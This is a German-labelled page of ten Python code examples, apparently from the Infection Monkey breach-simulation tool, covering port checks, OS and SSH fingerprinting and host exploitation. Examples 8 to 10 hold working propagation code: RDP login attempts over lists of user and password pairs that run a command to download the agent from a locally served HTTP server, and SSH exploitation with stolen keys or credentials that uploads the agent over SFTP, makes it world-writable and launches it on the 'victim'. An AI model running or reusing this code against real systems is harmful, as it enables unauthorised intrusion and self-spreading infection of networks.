Beispiel #1
0
    def is_os_supported(self):
        if super(SmbExploiter, self).is_os_supported():
            return True

        if not self.host.os.get('type'):
            is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445)
            if is_smb_open:
                smb_finger = SMBFinger()
                smb_finger.get_host_fingerprint(self.host)
            else:
                is_nb_open, _ = check_tcp_port(self.host.ip_addr, 139)
                if is_nb_open:
                    self.host.os['type'] = 'windows'
            return self.host.os.get('type') in self._TARGET_OS_TYPE
        return False
Beispiel #2
0
    def is_os_supported(self):
        if super(RdpExploiter, self).is_os_supported():
            return True

        if not self.host.os.get('type'):
            is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
            if is_open:
                self.host.os['type'] = 'windows'
                return True
        return False
Beispiel #3
0
    def is_os_supported(self):
        if self.host.os.get('type') in self._TARGET_OS_TYPE and \
                self.host.os.get('version') in list(self._windows_versions.keys()):
            return True

        if not self.host.os.get('type') or (
                self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')):
            is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445)
            if is_smb_open:
                smb_finger = SMBFinger()
                if smb_finger.get_host_fingerprint(self.host):
                    return self.host.os.get('type') in self._TARGET_OS_TYPE and \
                           self.host.os.get('version') in list(self._windows_versions.keys())
        return False
Beispiel #4
0
    def get_host_fingerprint(self, host):

        for name, data in list(host.services.items()):
            banner = data.get('banner', '')
            if self._banner_regex.search(banner):
                self._banner_match(name, host, banner)
                host.services[SSH_SERVICE_DEFAULT]['display_name'] = self._SCANNED_SERVICE
                return

        is_open, banner = check_tcp_port(host.ip_addr, SSH_PORT, TIMEOUT, True)

        if is_open:
            self.init_service(host.services, SSH_SERVICE_DEFAULT, SSH_PORT)

            if banner:
                host.services[SSH_SERVICE_DEFAULT]['banner'] = banner
                if self._banner_regex.search(banner):
                    self._banner_match(SSH_SERVICE_DEFAULT, host, banner)
                return True

        return False
Beispiel #5
0
    def get_host_fingerprint(self, host):
        assert isinstance(host, VictimHost)

        for name, data in host.services.items():
            banner = data.get('banner', '')
            if self._banner_regex.search(banner):
                self._banner_match(name, host, banner)
                return

        is_open, banner = check_tcp_port(host.ip_addr, SSH_PORT, TIMEOUT, True)

        if is_open:
            host.services[SSH_SERVICE_DEFAULT] = {}

            if banner:
                host.services[SSH_SERVICE_DEFAULT]['banner'] = banner
                if self._banner_regex.search(banner):
                    self._banner_match(SSH_SERVICE_DEFAULT, host, banner)
                return True

        return False
Beispiel #6
0
def _check_tunnel(address, port, existing_sock=None):
    if not existing_sock:
        sock = _set_multicast_socket()
    else:
        sock = existing_sock

    LOG.debug("Checking tunnel %s:%s", address, port)
    is_open, _ = check_tcp_port(address, int(port))
    if not is_open:
        LOG.debug("Could not connect to %s:%s", address, port)
        if not existing_sock:
            sock.close()
        return False

    try:
        sock.sendto(b"+", (address, MCAST_PORT))
    except Exception as exc:
        LOG.debug("Caught exception in tunnel registration: %s", exc)

    if not existing_sock:
        sock.close()
    return True
Beispiel #7
0
 def check_if_port_open(self, port):
     is_open, _ = check_tcp_port(self.host.ip_addr, port)
     if not is_open:
         LOG.info("Port %d is closed on %r, skipping", port, self.host)
         return False
     return True
Beispiel #8
0
    def exploit_host(self):
        global g_reactor

        is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
        if not is_open:
            LOG.info("RDP port is closed on %r, skipping", self.host)
            return False

        src_path = get_target_monkey(self.host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r",
                     self.host)
            return False

        # create server for http download.
        http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)

        if not http_path:
            LOG.debug(
                "Exploiter RdpGrinder failed, http transfer creation failed.")
            return False

        LOG.info("Started http server on %s", http_path)

        cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)

        if self._config.rdp_use_vbs_download:
            command = RDP_CMDLINE_HTTP_VBS % {
                'monkey_path': self._config.dropper_target_path_win_32,
                'http_path': http_path,
                'parameters': cmdline
            }
        else:
            command = RDP_CMDLINE_HTTP_BITS % {
                'monkey_path': self._config.dropper_target_path_win_32,
                'http_path': http_path,
                'parameters': cmdline
            }

        user_password_pairs = self._config.get_exploit_user_password_pairs()

        if not g_reactor.is_alive():
            g_reactor.daemon = True
            g_reactor.start()

        exploited = False
        for user, password in user_password_pairs:
            try:
                # run command using rdp.
                LOG.info(
                    "Trying RDP logging into victim %r with user %s and password '%s'",
                    self.host, user, password)

                LOG.info("RDP connected to %r", self.host)

                client_factory = CMDClientFactory(user, password, "", command)

                reactor.callFromThread(reactor.connectTCP, self.host.ip_addr,
                                       RDP_PORT, client_factory)

                client_factory.done_event.wait()

                if client_factory.success:
                    exploited = True
                    self.report_login_attempt(True, user, password)
                    break
                else:
                    # failed exploiting with this user/pass
                    self.report_login_attempt(False, user, password)

            except Exception as exc:
                LOG.debug(
                    "Error logging into victim %r with user"
                    " %s and password '%s': (%s)", self.host, user, password,
                    exc)
                continue

        http_thread.join(DOWNLOAD_TIMEOUT)
        http_thread.stop()

        if not exploited:
            LOG.debug("Exploiter RdpGrinder failed, rdp failed.")
            return False
        elif http_thread.downloads == 0:
            LOG.debug("Exploiter RdpGrinder failed, http download failed.")
            return False

        LOG.info("Executed monkey '%s' on remote victim %r",
                 os.path.basename(src_path), self.host)

        return True
Beispiel #9
0
    def _exploit_host(self):

        port = SSH_PORT
        # if ssh banner found on different port, use that port.
        for servkey, servdata in list(self.host.services.items()):
            if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
                port = int(servkey.replace("tcp-", ""))

        is_open, _ = check_tcp_port(self.host.ip_addr, port)
        if not is_open:
            logger.info("SSH port is closed on %r, skipping", self.host)
            return False

        try:
            ssh = self.exploit_with_ssh_keys(port)
        except FailedExploitationError:
            try:
                ssh = self.exploit_with_login_creds(port)
            except FailedExploitationError:
                logger.debug("Exploiter SSHExploiter is giving up...")
                return False

        if not self.host.os.get("type"):
            try:
                _, stdout, _ = ssh.exec_command("uname -o")
                uname_os = stdout.read().lower().strip().decode()
                if "linux" in uname_os:
                    self.host.os["type"] = "linux"
                else:
                    logger.info("SSH Skipping unknown os: %s", uname_os)
                    return False
            except Exception as exc:
                logger.debug("Error running uname os command on victim %r: (%s)", self.host, exc)
                return False

        if not self.host.os.get("machine"):
            try:
                _, stdout, _ = ssh.exec_command("uname -m")
                uname_machine = stdout.read().lower().strip().decode()
                if "" != uname_machine:
                    self.host.os["machine"] = uname_machine
            except Exception as exc:
                logger.debug(
                    "Error running uname machine command on victim %r: (%s)", self.host, exc
                )

        if self.skip_exist:
            _, stdout, stderr = ssh.exec_command(
                "head -c 1 %s" % self._config.dropper_target_path_linux
            )
            stdout_res = stdout.read().strip()
            if stdout_res:
                # file exists
                logger.info(
                    "Host %s was already infected under the current configuration, "
                    "done" % self.host
                )
                return True  # return already infected

        src_path = get_target_monkey(self.host)

        if not src_path:
            logger.info("Can't find suitable monkey executable for host %r", self.host)
            return False

        try:
            ftp = ssh.open_sftp()

            self._update_timestamp = time.time()
            with monkeyfs.open(src_path) as file_obj:
                ftp.putfo(
                    file_obj,
                    self._config.dropper_target_path_linux,
                    file_size=monkeyfs.getsize(src_path),
                    callback=self.log_transfer,
                )
                ftp.chmod(self._config.dropper_target_path_linux, 0o777)
                status = ScanStatus.USED
                T1222Telem(
                    ScanStatus.USED,
                    "chmod 0777 %s" % self._config.dropper_target_path_linux,
                    self.host,
                ).send()
            ftp.close()
        except Exception as exc:
            logger.debug("Error uploading file into victim %r: (%s)", self.host, exc)
            status = ScanStatus.SCANNED

        T1105Telem(
            status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
        ).send()
        if status == ScanStatus.SCANNED:
            return False

        try:
            cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
            cmdline += build_monkey_commandline(
                self.host, get_monkey_depth() - 1, vulnerable_port=SSH_PORT
            )
            cmdline += " > /dev/null 2>&1 &"
            ssh.exec_command(cmdline)

            logger.info(
                "Executed monkey '%s' on remote victim %r (cmdline=%r)",
                self._config.dropper_target_path_linux,
                self.host,
                cmdline,
            )

            ssh.close()
            self.add_executed_cmd(cmdline)
            return True

        except Exception as exc:
            logger.debug("Error running monkey on victim %r: (%s)", self.host, exc)
            return False
Beispiel #10
0
    def _exploit_host(self):
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.WarningPolicy())

        port = SSH_PORT
        # if ssh banner found on different port, use that port.
        for servkey, servdata in self.host.services.items():
            if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
                port = int(servkey.replace('tcp-', ''))

        is_open, _ = check_tcp_port(self.host.ip_addr, port)
        if not is_open:
            LOG.info("SSH port is closed on %r, skipping", self.host)
            return False

        # Check for possible ssh exploits
        exploited = self.exploit_with_ssh_keys(port, ssh)
        if not exploited:
            exploited = self.exploit_with_login_creds(port, ssh)

        if not exploited:
            LOG.debug("Exploiter SSHExploiter is giving up...")
            return False

        if not self.host.os.get('type'):
            try:
                _, stdout, _ = ssh.exec_command('uname -o')
                uname_os = stdout.read().lower().strip()
                if 'linux' in uname_os:
                    self.host.os['type'] = 'linux'
                else:
                    LOG.info("SSH Skipping unknown os: %s", uname_os)
                    return False
            except Exception as exc:
                LOG.debug("Error running uname os commad on victim %r: (%s)",
                          self.host, exc)
                return False

        if not self.host.os.get('machine'):
            try:
                _, stdout, _ = ssh.exec_command('uname -m')
                uname_machine = stdout.read().lower().strip()
                if '' != uname_machine:
                    self.host.os['machine'] = uname_machine
            except Exception as exc:
                LOG.debug(
                    "Error running uname machine commad on victim %r: (%s)",
                    self.host, exc)

        if self.skip_exist:
            _, stdout, stderr = ssh.exec_command(
                "head -c 1 %s" % self._config.dropper_target_path_linux)
            stdout_res = stdout.read().strip()
            if stdout_res:
                # file exists
                LOG.info(
                    "Host %s was already infected under the current configuration, done"
                    % self.host)
                return True  # return already infected

        src_path = get_target_monkey(self.host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r",
                     self.host)
            return False

        try:
            ftp = ssh.open_sftp()

            self._update_timestamp = time.time()
            with monkeyfs.open(src_path) as file_obj:
                ftp.putfo(file_obj,
                          self._config.dropper_target_path_linux,
                          file_size=monkeyfs.getsize(src_path),
                          callback=self.log_transfer)
                ftp.chmod(self._config.dropper_target_path_linux, 0o777)
                status = ScanStatus.USED
                T1222Telem(
                    ScanStatus.USED,
                    "chmod 0777 %s" % self._config.dropper_target_path_linux,
                    self.host).send()
            ftp.close()
        except Exception as exc:
            LOG.debug("Error uploading file into victim %r: (%s)", self.host,
                      exc)
            status = ScanStatus.SCANNED

        T1105Telem(status, get_interface_to_target(self.host.ip_addr),
                   self.host.ip_addr, src_path).send()
        if status == ScanStatus.SCANNED:
            return False

        try:
            cmdline = "%s %s" % (self._config.dropper_target_path_linux,
                                 MONKEY_ARG)
            cmdline += build_monkey_commandline(self.host,
                                                get_monkey_depth() - 1)
            cmdline += "&"
            ssh.exec_command(cmdline)

            LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
                     self._config.dropper_target_path_linux, self.host,
                     cmdline)

            ssh.close()
            self.add_executed_cmd(cmdline)
            return True

        except Exception as exc:
            LOG.debug("Error running monkey on victim %r: (%s)", self.host,
                      exc)
            return False